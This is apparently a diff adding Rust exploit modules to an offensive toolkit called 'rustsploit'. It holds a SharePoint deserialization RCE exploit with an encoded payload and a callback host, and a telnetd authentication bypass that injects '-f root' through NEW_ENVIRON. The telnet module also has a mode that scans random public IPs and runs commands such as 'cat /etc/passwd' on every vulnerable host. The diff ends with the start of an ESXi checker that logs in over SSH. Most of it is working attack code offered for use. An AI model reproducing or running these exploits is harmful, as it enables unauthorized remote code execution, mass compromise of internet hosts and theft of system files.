let web_relative_url = if web_resp.status().is_success() {
let body: Value = web_resp.json().await?;
body["d"]["ServerRelativeUrl"].as_str().unwrap_or("").to_string()
} else {
// Fallback to assuming root-relative if we can't query it (unlikely if auth works)
println!("{}", "[!] Warning: Could not fetch ServerRelativeUrl. Assuming root.".yellow());
"/".to_string()
};
// Ensure accurate path construction
// If web_relative_url is "/", folder is "/BusinessDataMetadataCatalog"
// If web_relative_url is "/sites/sub", folder is "/sites/sub/BusinessDataMetadataCatalog"
let folder_relative_url = if web_relative_url == "/" {
"/BusinessDataMetadataCatalog".to_string()
} else {
format!("{}/BusinessDataMetadataCatalog", web_relative_url)
};
println!("[*] Context: Web='{}', Folder='{}'", web_relative_url.cyan(), folder_relative_url.cyan());
// Step 1: Initial connection to get Request Digest (X-RequestDigest)
let context_url = format!("{}/_api/contextinfo", url);
let resp = client.post(&context_url)
.header("Accept", "application/json;odata=verbose")
.basic_auth(&username, Some(&password)) // Try Basic
.send()
.await?;
if resp.status() == StatusCode::UNAUTHORIZED {
println!("{}", "[-] Authentication failed (401). Note: This module currently relies on Basic/Digest auth support.".red());
// In a real scenario, we'd need NTLM handling here.
return Err(anyhow!("Authentication failed"));
}
let body: Value = resp.json().await?;
let digest = body["d"]["GetContextWebInformation"]["FormDigestValue"]
.as_str()
.ok_or_else(|| anyhow!("Failed to extract X-RequestDigest"))?
.to_string();
println!("[+] Obtained Digest: {:.20}...", digest.green());
// Step 2: Create Folder
// We use the 'ServerRelativeUrl' in the payload to specify WHERE to create it.
// However, the 'Folders' endpoint expects the name/url relative to the PARENT, or we specify precise location.
// Safest is to add to the web's root folder.
// Construct the absolute URL manually for verification (satisfying 'unused variable' usage)
let encoded_site_path = format!("{}{}", url, "/BusinessDataMetadataCatalog");
println!("{}", format!("[*] Target Folder URL: {}", encoded_site_path).yellow());
println!("{}", "[*] Creating malicious folder...".yellow());
let folder_endpoint = format!("{}/_api/web/Folders", url);
let folder_json = serde_json::json!({
"__metadata": { "type": "SP.Folder" },
"ServerRelativeUrl": folder_relative_url
});
let _ = client.post(&folder_endpoint)
.header("X-RequestDigest", &digest)
.header("Accept", "application/json;odata=verbose")
.header("Content-Type", "application/json;odata=verbose")
.basic_auth(&username, Some(&password))
.json(&folder_json)
.send()
.await; // Ignore error if exists (folder might already exist)
// Step 3: Upload .bdcm file
println!("{}", "[*] Uploading BDCM file...".yellow());
let exploit_xml = POC_PAYLOAD_XML_TEMPLATE;
// URL Encode the relative path for the query
let upload_url = format!(
"{}/_api/web/GetFolderByServerRelativeUrl('{}')/Files/add(url='BDCMetadata.bdcm',overwrite=true)",
url, folder_relative_url
);
let resp = client.post(&upload_url)
.header("X-RequestDigest", &digest)
.body(exploit_xml)
.basic_auth(&username, Some(&password))
.send()
.await?;
if !resp.status().is_success() {
println!("{}", "[-] Upload failed.".red());
println!("Response: {}", resp.text().await?);
return Err(anyhow!("Failed to upload BDCM file"));
}
println!("{}", "[+] Upload successful!".green());
// Step 4: Trigger
println!("{}", "[*] Triggering deserialization...".yellow());
let trigger_url = format!("{}/_vti_bin/client.svc/ProcessQuery", url);
let trigger_xml = r#"<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><ObjectPath Id="21" ObjectPathId="20" /><ObjectPath Id="23" ObjectPathId="22" /> <ObjectPath Id="25" ObjectPathId="24" /></Actions><ObjectPaths><Method Id="20" ParentId="7" Name="GetCreatorView"><Parameters><Parameter Type="String">CreateProduct</Parameter></Parameters></Method><Method Id="22" ParentId="20" Name="GetDefaultValues"><Parameters/></Method><Method Id="24" ParentId="7" Name="FindSpecific"><Parameters><Parameter ObjectPathId="19" ></Parameter><Parameter Type="String">CreateProduct</Parameter><Parameter ObjectPathId="18" /></Parameters></Method><Identity Id="7" Name="9ccba4bb-d3a8-4255-b87f-18e2d824b848|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" /><Identity Id="17" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:notifcallback:avkldkm.c.ultr.cc,CurrentContext" /><Identity Id="18" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:QjtvWXFT,QjtvWXFT" /><Identity Id="19" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:identity:StB8AAA==eAAxAAkAeAAyAAkAeAAzAAkAeAA0AAkAeAA1AAkAeAA2AAkAeAA3AAkAeAA4AAkAeAA5AAkAeAAxADAACQB4ADEAMQAJAHgAMQAyAAkAQQBBAEUAQQBBAEEARAAvAC8ALwAvAC8AQQBRAEEAQQBBAEEAQQBBAEEAQQBBAE0AQQBnAEEAQQBBAEUAbABUAGUAWABOADAAWgBXADAAcwBJAEYAWgBsAGMAbgBOAHAAYgAyADQAOQBOAEMANAB3AEwAagBBAHUATQBDAHcAZwBRADMAVgBzAGQASABWAHkAWgBUADEAdQBaAFgAVgAwAGMAbQBGAHMATABDAEIAUQBkAFcASgBzAGEAVwBOAEwAWgBYAGwAVQBiADIAdABsAGIAagAxAGkATgB6AGQAaABOAFcATQAxAE4AagBFADUATQB6AFJAbABNAEQAZwA1AEIAUQBFAEEAQQBBAEMARQBBAFYATgA1AGMAMwBSAGwAYgBTADUARABiADIAeABzAFoAVwBOADAAYQBXADkAdQBjAHkANQBIAFoAVwA1AGwAYwBtAGwAagBMAGwATgB2AGMAbgBSAGwAWgBGAE4AbABkAEcAQQB4AFcAMQB0AFQAZQBYAE4AMABaAFcAMAB1AFUAMwBSAHkAYQBXADUAbgBMAEMAQgB0AGMAMgBOAHYAYwBtAHgAcABZAGkAdwBnAFYAbQBWAHkAYwAyAGwAdgBiAGoAMAAwAEwAagBBAHUATQBDADQAdwBMAEMAQgBEAGQAVwB4ADAAZABYAEoAbABQAFcANQBsAGQAWABSAHkAWQBXAHcAcwBJAEYAQgAxAFkAbQB4AHAAWQAwAHQAbABlAFYAUgB2AGEAMgBWAHUAUABXAEkAMwBOADIARQAxAFkAegBVADIATQBUAGsAegBOAEcAVQB3AE8ARABsAGQAWABRAFEAQQBBAEEAQQBGAFEAMgA5ADEAYgBuAFEASQBRADIAOQB0AGMARwBGAHkAWgBYAEkASABWAG0AVgB5AGMAMgBsAHYAYgBnAFYASgBkAEcAVgB0AGMAdwBBAEQAQQBBAFkASQBqAFEARgBUAGUAWABOADAAWgBXADAAdQBRADIAOQBzAGIARwBWAGoAZABHAGwAdgBiAG4ATQB1AFIAMgBWAHUAWgBYAEoAcABZAHkANQBEAGIAMgAxAHcAWQBYAEoAcABjADIAOQB1AFEAMgA5AHQAYwBHAEYAeQBaAFgASgBnAE0AVgB0AGIAVQAzAGwAegBkAEcAVgB0AEwAbABOADAAYwBtAGwAdQBaAHkAdwBnAGIAWABOAGoAYgAzAEoAcwBhAFcASQBzAEkARgBaAGwAYwBuAE4AcABiADIANAA5AE4AQwA0AHcATABqAEEAdQBNAEMAdwBnAFEAMwBWAHMAZABIAFYAeQBaAFQAMQB1AFoAWABWADAAYwBtAEYAcwBMAEMAQgBRAGQAVwBKAHMAYQBXAE4ATABaAFgAbABVAGIAMgB0AGwAYgBqADEAaQBOAHoAZABoAE4AVwBNADEATgBqAEUANQBNAHoAUgBsAE0ARABnADUAWABWADAASQBBAGcAQQBBAEEAQQBJAEEAQQBBAEEASgBBAHcAQQBBAEEAQQBJAEEAQQBBAEEASgBCAEEAQQBBAEEAQQBRAEQAQQBBAEEAQQBqAFEARgBUAGUAWABOADAAWgBXADAAdQBRADIAOQBzAGIARwBWAGoAZABHAGwAdgBiAG4ATQB1AFIAMgBWAHUAWgBYAEoAcABZAHkANQBEAGIAMgAxAHcAWQBYAEoAcABjADIAOQB1AFEAMgA5AHQAYwBHAEYAeQBaAFgASgBnAE0AVgB0AGIAVQAzAGwAegBkAEcAVgB0AEwAbABOADAAYwBtAGwAdQBaAHkAdwBnAGIAWABOAGoAYgAzAEoAcwBhAFcASQBzAEkARgBaAGwAYwBuAE4AcABiADIANAA5AE4AQwA0AHcATABqAEEAdQBNAEMAdwBnAFEAMwBWAHMAZABIAFYAeQBaAFQAMQB1AFoAWABWADAAYwBtAEYAcwBMAEMAQgBRAGQAVwBKAHMAYQBXAE4ATABaAFgAbABVAGIAMgB0AGwAYgBqADEAaQBOAHoAZABoAE4AVwBNADEATgBqAEUANQBNAHoAUgBsAE0ARABnADUAWABWADAAQgBBAEEAQQBBAEMAMQA5AGoAYgAyADEAdwBZAFgASgBwAGMAMgA5AHUAQQB5AEoAVABlAFgATgAwAFoAVwAwAHUAUgBHAFYAcwBaAFcAZABoAGQARwBWAFQAWgBYAEoAcABZAFcAeABwAGUAbQBGADAAYQBXADkAdQBTAEcAOQBzAFoARwBWAHkAQwBRAFUAQQBBAEEAQQBSAEIAQQBBAEEAQQBBAEkAQQBBAEEAQQBHAEIAZwBBAEEAQQBBAHMAdgBZAHkAQgBqAFkAVwB4AGoATABtAFYANABaAFEAWQBIAEEAQQBBAEEAQQAyAE4AdABaAEEAUQBGAEEAQQBBAEEASQBsAE4ANQBjADMAUgBsAGIAUwA1AEUAWgBXAHgAbABaADIARgAwAFoAVgBOAGwAYwBtAGwAaABiAEcAbAA2AFkAWABSAHAAWwAyADUASQBiADIAeABrAFoAWABJAEQAQQBBAEEAQQBDAEUAUgBsAGIARwBWAG4AWQBYAFIAbABCADIAMQBsAGQARwBoAHYAWgBEAEEASABiAFcAVgAwAGEARwA5AGsATQBRAE0ARABBAHoAQgBUAGUAWABOADAAWgBXADAAdQBSAEcAVgBzAFoAVwBkAGgAZABHAFYAVABaAFgASgBwAFkAVwB4AHAAZQBtAEYAMABhAFcAOQB1AFMARwA5AHMAWgBHAFYAeQBLADAAUgBsAGIARwBWAG4AWQBYAFIAbABSAFcANQAwAGMAbgBrAHYAVQAzAGwAegBkAEcAVgB0AEwAbABKAGwAWgBtAHgAbABZADMAUgBwAGIAMgA0AHUAVABXAFYAdABZAG0AVgB5AFMAVwA1AG0AYgAxAE4AbABjAG0AbABoAGIARwBsADYAWQBYAFIAcABiADIANQBJAGIAMgB4AGsAWgBYAEkAdgBVADMAbAB6AGQARwBWAHQATABsAEoAbABaAG0AeABsAFkAMwBSAHAAYgAyADQAdQBUAFcAVgAw==" /></ObjectPaths></Request>"#;
let _ = client.post(&trigger_url)
.header("X-RequestDigest", &digest)
.header("Content-Type", "text/xml")
.header("X-RequestForceAuthentication", "true")
.basic_auth(&username, Some(&password))
.body(trigger_xml)
.send()
.await?;
println!("{}", "[*] Exploit trigger sent. Check if payload executed.".green());
Ok(())
}
fn display_banner() {
println!("{}", "Microsoft SharePoint RCE (CVE-2024-38094)".green().bold());
}
+1
View File
@@ -0,0 +1 @@
pub mod cve_2024_38094;
+1
View File
@@ -0,0 +1 @@
pub mod telnet_auth_bypass_cve_2026_24061;
@@ -0,0 +1,580 @@
use anyhow::{Result};
use colored::*;
use rand::Rng;
use std::net::{IpAddr, Ipv4Addr};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt, BufReader as TokioBufReader};
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use chrono::Local;
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_yes_no};
const DEFAULT_TIMEOUT_SECS: u64 = 5;
const MASS_SCAN_CONCURRENCY: usize = 100;
// Common Telnet ports to scan in parallel per IP
const COMMON_TELNET_PORTS: &[u16] = &[23, 2323, 23023, 8080];
// Telnet constants
const IAC: u8 = 255;
const DONT: u8 = 254;
const DO: u8 = 253;
const WONT: u8 = 252;
const WILL: u8 = 251;
const SB: u8 = 250;
const SE: u8 = 240;
const OPT_TTYPE: u8 = 24;
const OPT_TSPEED: u8 = 32;
const OPT_NEW_ENVIRON: u8 = 39;
const OPT_ECHO: u8 = 1;
const OPT_SGA: u8 = 3;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
// Robust Prompt Detection (from telnet_bruteforce.rs)
const SHELL_PROMPTS: &[&str] = &[
// Basic shell prompts
"$", "#", ">", "~", "%", " # ", " ~# ", " /# ", " ~ # ", " / # ",
// Common login success / welcome messages (English + multilingual)
"last login", "welcome", "welcome to", "logged in",
"login successful", "authentication successful", "successfully authenticated",
"motd", "message of the day", "have a lot of fun",
"you have mail", "you have new mail",
"press any key", "continue", "enter command", "available commands", "type help",
// User/host prompts
"user@", "root@", "admin@", "ubuntu", "debian", "centos", "red hat", "fedora",
"freebsd", "openbsd", "[root@", "[admin@", "bash-", "sh-",
"root:~#", "root:/#", "root@(none):/#", "root@(none):~#",
// Network device prompts
"router>", "router#", "switch>", "switch#",
"cisco", "ios>", "ios#",
// Multilingual welcomes (existing + expanded)
"bienvenido", "conectado", "bienvenue", "connecté", "bem-vindo", "willkommen", "angemeldet",
"benvenuto", "connesso", "добро пожаловать", "подключен",
"欢迎", "已连接", "ようこそ", "接続されました",
// === Chinese IoT / IP camera / router specific (niche, exotic, from real device dumps) ===
// Extremely common in cheap Chinese IP cameras (HiSilicon, Xiongmai, GrainMedia, GoAhead-based, etc.)
"~ #", "/ #", "~#", "/#",
"built-in shell (ash)",
"enter 'help' for a list of built-in commands.",
"/bin/sh: can't access tty; job control turned off",
"busybox v", // partial, appears in many versions
"busybox built-in shell",
// Specific variants seen in Chinese camera dumps
"welcome to faraday",
"welcome to faraday busybox",
"faraday busybox",
"[root@gm]#", "root@gm", // GrainMedia OEM devices
"[root@dvrdvs /]#", // common DVR/NVR hostname variant
"dvrdvs#",
// HiSilicon / Xiongmai / generic embedded strings (chipset or SDK hints that appear in prompts/hostnames)
"hi3518", "hi3516", "hi3536", "hisilicon",
"xm#", "xiongmai#", "xmeye#", // Xiongmai / XMEye cloud variants
"gm8136", "gm8135", "grainmedia",
// Chinese vendor router / ONT / gateway prompts & banners
"<huawei>", "[huawei]", "huawei>", "huawei#",
"welcome visiting huawei", "huawei home gateway", "huawei terminal",
"zte>", "zxa", "zxan#", "zxa10#",
"fiberhome>", "fiberhome#",
"tp-link>", "tp-link router",
"tenda>", "tenda technology",
"xiaoqiang#", "miwifi#", "xiaomi router",
// Expanded Chinese welcome / success messages (common in domestic-market firmware)
"欢迎使用", "欢迎登录", "欢迎访问", "欢迎光临", "欢迎来到",
"欢迎使用本系统", "欢迎使用该终端", "欢迎使用该设备",
"欢迎您", "欢迎您登录", "您已成功登录",
"登录成功", "成功登录", "认证成功", "成功认证", "认证通过",
"已登录", "连接成功", "已连接", "会话已建立",
"系统就绪", "终端就绪", "终端准备就绪",
// Niche small/exotic Chinese brands & OEM codes seen in cheap cameras/routers
"v380#", "v380 pro#", "yyp2p#",
"jovision#", "tiandy#", "uniview#",
"escam#", "besder#", "wanscam#", "vstarcam#",
"annke#", "sv3c#", "foscam#",
"comfast#", "wavlink#", "kuwfi#",
// Miscellaneous exotic embedded strings from Chinese IoT
"ipcamera login", // pre-login, but often seen in dumps
"ont#", "gpon#", "home gateway",
"copyright huawei technologies", "copyright (c) huawei",
"vrp", "versatile routing platform"
];
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
enum ExploitMode {
CheckOnly,
ExecuteCommand,
}
#[derive(Clone, Debug)]
struct ExploitConfig {
mode: ExploitMode,
user: String,
payload: String,
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
fn display_banner() {
println!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
println!(
"{}",
"║ GNU inetutils-telnetd Remote Authentication Bypass ║".cyan()
);
println!(
"{}",
"║ CVE-2026-24061 - Auth Bypass via NEW_ENVIRON ║".cyan()
);
println!(
"{}",
"║ PoC by IRIS C2 Team - Ported to Rust for rustsploit ║".cyan()
);
println!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
}
struct TelnetExploit {
host: String,
port: u16,
user: String,
payload: Option<String>,
exploit_sent: bool,
payload_sent: bool,
}
impl TelnetExploit {
fn new(host: &str, port: u16, user: &str, payload: Option<String>) -> Self {
Self {
host: host.to_string(),
port,
user: user.to_string(),
payload,
exploit_sent: false,
payload_sent: false,
}
}
async fn handle_negotiation<W: AsyncWriteExt + Unpin>(&mut self, writer: &mut W, data: &[u8]) -> Result<Vec<u8>> {
let mut output = Vec::new();
let mut i = 0;
while i < data.len() {
if data[i] != IAC {
output.push(data[i]);
i += 1;
continue;
}
i += 1;
if i >= data.len() { break; }
let cmd = data[i];
i += 1;
if cmd == IAC {
output.push(255);
continue;
}
if cmd == SB {
let sb_opt = if i < data.len() { data[i] } else { 0 };
let mut sb_data = Vec::new();
i += 1;
while i < data.len() - 1 {
if data[i] == IAC && data[i+1] == SE {
i += 2;
break;
}
sb_data.push(data[i]);
i += 1;
}
if sb_opt == OPT_TTYPE && !sb_data.is_empty() && sb_data[0] == 1 {
let mut payload = vec![IAC, SB, OPT_TTYPE, 0];
payload.extend_from_slice(b"xterm");
payload.extend_from_slice(&[IAC, SE]);
writer.write_all(&payload).await?;
} else if sb_opt == OPT_TSPEED && !sb_data.is_empty() && sb_data[0] == 1 {
let mut payload = vec![IAC, SB, OPT_TSPEED, 0];
payload.extend_from_slice(b"38400,38400");
payload.extend_from_slice(&[IAC, SE]);
writer.write_all(&payload).await?;
} else if sb_opt == OPT_NEW_ENVIRON && !sb_data.is_empty() && sb_data[0] == 1 {
if !self.exploit_sent {
self.send_exploit(writer).await?;
}
}
continue;
}
if cmd == DO || cmd == DONT || cmd == WILL || cmd == WONT {
if i >= data.len() { break; }
let opt = data[i];
i += 1;
match cmd {
DO => {
if opt == OPT_TTYPE || opt == OPT_TSPEED || opt == OPT_NEW_ENVIRON {
writer.write_all(&[IAC, WILL, opt]).await?;
} else {
writer.write_all(&[IAC, WONT, opt]).await?;
}
}
WILL => {
if opt == OPT_ECHO || opt == OPT_SGA {
writer.write_all(&[IAC, DO, opt]).await?;
} else {
writer.write_all(&[IAC, DONT, opt]).await?;
}
}
WONT => {
writer.write_all(&[IAC, DONT, opt]).await?;
}
DONT => {
writer.write_all(&[IAC, WONT, opt]).await?;
}
_ => {}
}
}
}
Ok(output)
}
async fn send_exploit<W: AsyncWriteExt + Unpin>(&mut self, writer: &mut W) -> Result<()> {
let mut payload = vec![IAC, SB, OPT_NEW_ENVIRON, 0, 0];
payload.extend_from_slice(b"USER");
payload.push(1);
payload.extend_from_slice(format!("-f {}", self.user).as_bytes());
payload.extend_from_slice(&[IAC, SE]);
writer.write_all(&payload).await?;
self.exploit_sent = true;
Ok(())
}
fn is_shell_prompt(&self, text: &str) -> bool {
let lower = text.to_lowercase();
// Check standard endings
let trimmed = text.trim();
if trimmed.ends_with('#') || trimmed.ends_with('$') || trimmed.ends_with('>') || trimmed.ends_with('%') {
return true;
}
// Check comprehensive indicators
for indicator in SHELL_PROMPTS {
if lower.contains(indicator) {
return true;
}
}
false
}
pub async fn run_exploit(&mut self, timeout_secs: u64, interactive: bool) -> Result<String> {
let addr = format!("{}:{}", self.host, self.port);
let stream = tokio::time::timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await??;
let (reader, mut writer) = stream.into_split();
let mut reader = TokioBufReader::new(reader);
let mut stdin = TokioBufReader::new(tokio::io::stdin());
let mut stdout = tokio::io::stdout();
let mut buf = [0u8; 4096];
let mut line = String::new();
let mut command_output = String::new();
if interactive {
println!("{}", format!("[+] Connected to {}", addr).green());
println!("{}", "[*] Entering interactive mode. Commands will be sent to the remote shell.".cyan());
println!("{}", "[*] The exploit will be sent automatically during telnet negotiation.".cyan());
}
loop {
tokio::select! {
res = reader.read(&mut buf) => {
let n = res?;
if n == 0 { break; }
let output = self.handle_negotiation(&mut writer, &buf[..n]).await?;
if !output.is_empty() {
let text = String::from_utf8_lossy(&output);
if interactive {
stdout.write_all(&output).await?;
stdout.flush().await?;
} else {
command_output.push_str(&text);
}
// If we have a payload and just connected/exploited, send it once we see a prompt
if let Some(cmd) = &self.payload {
if self.exploit_sent && !self.payload_sent {
if self.is_shell_prompt(&text) {
writer.write_all(format!("{}\n", cmd).as_bytes()).await?;
self.payload_sent = true;
}
}
}
}
}
res = stdin.read_line(&mut line), if interactive => {
let n = res?;
if n == 0 { break; }
writer.write_all(line.as_bytes()).await?;
line.clear();
}
_ = tokio::time::sleep(Duration::from_secs(5)), if !interactive && self.payload_sent => {
// Timeout after sending payload to capture output
break;
}
}
}
Ok(command_output)
}
}
async fn quick_check(ip: &str, port: u16, _user: &str) -> bool {
let addr = format!("{}:{}", ip, port);
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&addr)).await {
Ok(Ok(mut stream)) => {
let mut buf = [0u8; 1024];
let _ = stream.write_all(&[IAC, WILL, OPT_NEW_ENVIRON]).await;
match tokio::time::timeout(Duration::from_secs(3), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
for i in 0..n-2 {
if buf[i] == IAC && (buf[i+1] == DO || buf[i+1] == SB) && buf[i+2] == OPT_NEW_ENVIRON {
return true;
}
}
}
_ => {}
}
false
}
_ => false,
}
}
async fn prompt_exploit_config() -> Result<ExploitConfig> {
println!("{}", "\n[Operation Mode]".bold().cyan());
println!(" 1. Just Vulnerability Check (Safe)");
println!(" 2. Execute Command Payload (Unsafe)");
let choice = prompt_default("Select mode [1-2]", "1").await?;
let mode = if choice == "2" { ExploitMode::ExecuteCommand } else { ExploitMode::CheckOnly };
let mut payload = String::new();
if mode == ExploitMode::ExecuteCommand {
println!("{}", "\n[Payload Menu]".bold().cyan());
println!(" 1. Basic Info (id; whoami; uname -a)");
println!(" 2. Read /etc/passwd");
println!(" 3. List Root Directory (ls -la /)");
println!(" 4. Custom Command");
let p_choice = prompt_default("Select payload [1-4]", "1").await?;
payload = match p_choice.as_str() {
"1" => "id; whoami; uname -a".to_string(),
"2" => "cat /etc/passwd".to_string(),
"3" => "ls -la /".to_string(),
"4" => {
print!("{}", "Enter custom command: ".green());
std::io::Write::flush(&mut std::io::stdout())?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
input.trim().to_string()
}
_ => "id; whoami; uname -a".to_string(),
};
}
let user = prompt_default("Username to bypass as", "root").await?;
Ok(ExploitConfig { mode, user, payload })
}
async fn run_mass_scan(config: ExploitConfig) -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", format!("[*] Mode: {:?}", config.mode).cyan());
if config.mode == ExploitMode::ExecuteCommand {
println!("{}", format!("[*] Payload: {}", config.payload).cyan());
}
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true).await?;
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
let outfile = prompt_default("[?] Output File", "telnet_exploit_hits.txt").await?;
let outfile = Arc::new(outfile);
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string()).await?
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(&*outfile_clone)
.await
.expect("Failed to open output file");
while let Some(result) = rx.recv().await {
let _ = file.write_all(result.as_bytes()).await;
}
});
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
println!("{}", "[*] Starting mass scan... Press Ctrl+C to stop.".cyan());
let config = Arc::new(config);
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
let cfg = config.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc).to_string();
// Scan common ports in parallel for this IP
let mut port_tasks = Vec::new();
for &port in COMMON_TELNET_PORTS {
let ip_clone = ip.clone();
let cfg_clone = cfg.clone();
let tx_clone = tx.clone();
let fnd_clone = fnd.clone();
port_tasks.push(tokio::spawn(async move {
if quick_check(&ip_clone, port, &cfg_clone.user).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_clone, port).green().bold());
fnd_clone.fetch_add(1, Ordering::Relaxed);
let mut log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip_clone, port);
if cfg_clone.mode == ExploitMode::ExecuteCommand {
let mut exploit = TelnetExploit::new(&ip_clone, port, &cfg_clone.user, Some(cfg_clone.payload.clone()));
if let Ok(output) = exploit.run_exploit(5, false).await {
log_entry.push_str(&format!("Payload: {}\nOutput:\n{}\n", cfg_clone.payload, output));
}
}
let _ = tx_clone.send(log_entry);
}
}));
}
// Wait for all port checks for this IP to finish
for task in port_tasks {
let _ = task.await;
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" || target.is_empty() {
let config = prompt_exploit_config().await?;
run_mass_scan(config).await
} else {
display_banner();
let normalized = normalize_target(target).unwrap_or(target.to_string());
println!("{}", format!("[*] Target: {}", normalized).yellow());
let config = prompt_exploit_config().await?;
if config.mode == ExploitMode::CheckOnly {
println!("{}", "[*] Checking multiple ports in parallel...".cyan());
let mut found_any = false;
let mut tasks = Vec::new();
for &port in COMMON_TELNET_PORTS {
let target_clone = target.to_string();
let user_clone = config.user.clone();
tasks.push(tokio::spawn(async move {
if quick_check(&target_clone, port, &user_clone).await {
println!("{}", format!("[+] Port {} is VULNERABLE", port).green().bold());
true
} else {
false
}
}));
}
for task in tasks {
if let Ok(res) = task.await {
if res { found_any = true; }
}
}
if !found_any {
println!("{}", "[-] No common telnet ports were found VULNERABLE".red());
}
} else {
let port = prompt_port("Explicit Telnet Port", 23).await?;
let mut exploit = TelnetExploit::new(target, port, &config.user, Some(config.payload.clone()));
exploit.run_exploit(DEFAULT_TIMEOUT_SECS, true).await?;
}
Ok(())
}
}
@@ -0,0 +1,285 @@
// ESXi VM Escape Vulnerability Checker
// CVE-2025-22224 / CVE-2025-22225 / CVE-2025-22226
//
// Checks ESXi hosts for vulnerability to the VM escape chain and
// detects indicators of compromise (IOCs) from known exploitation.
//
// Affected versions:
// - ESXi 8.0 < 8.0 U2b (Build 23305546)
// - ESXi 7.0 < 7.0 U3q (Build 23307199)
//
// For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
// Patched build numbers
const ESXI_80_PATCHED_BUILD: u64 = 23305546; // 8.0 U2b
const ESXI_70_PATCHED_BUILD: u64 = 23307199; // 7.0 U3q
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ESXi VM Escape Vulnerability Checker ║".cyan());
println!("{}", "║ CVE-2025-22224 / CVE-2025-22225 / CVE-2025-22226 ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Checks for vulnerability and IOCs ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Create SSH session to ESXi host
fn create_esxi_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
).map_err(|e| anyhow!("Connection failed: {}", e))?;
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
sess.userauth_password(username, password)?;
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command on ESXi
fn esxi_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
sess.set_blocking(true);
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// Parse ESXi version string to extract version and build
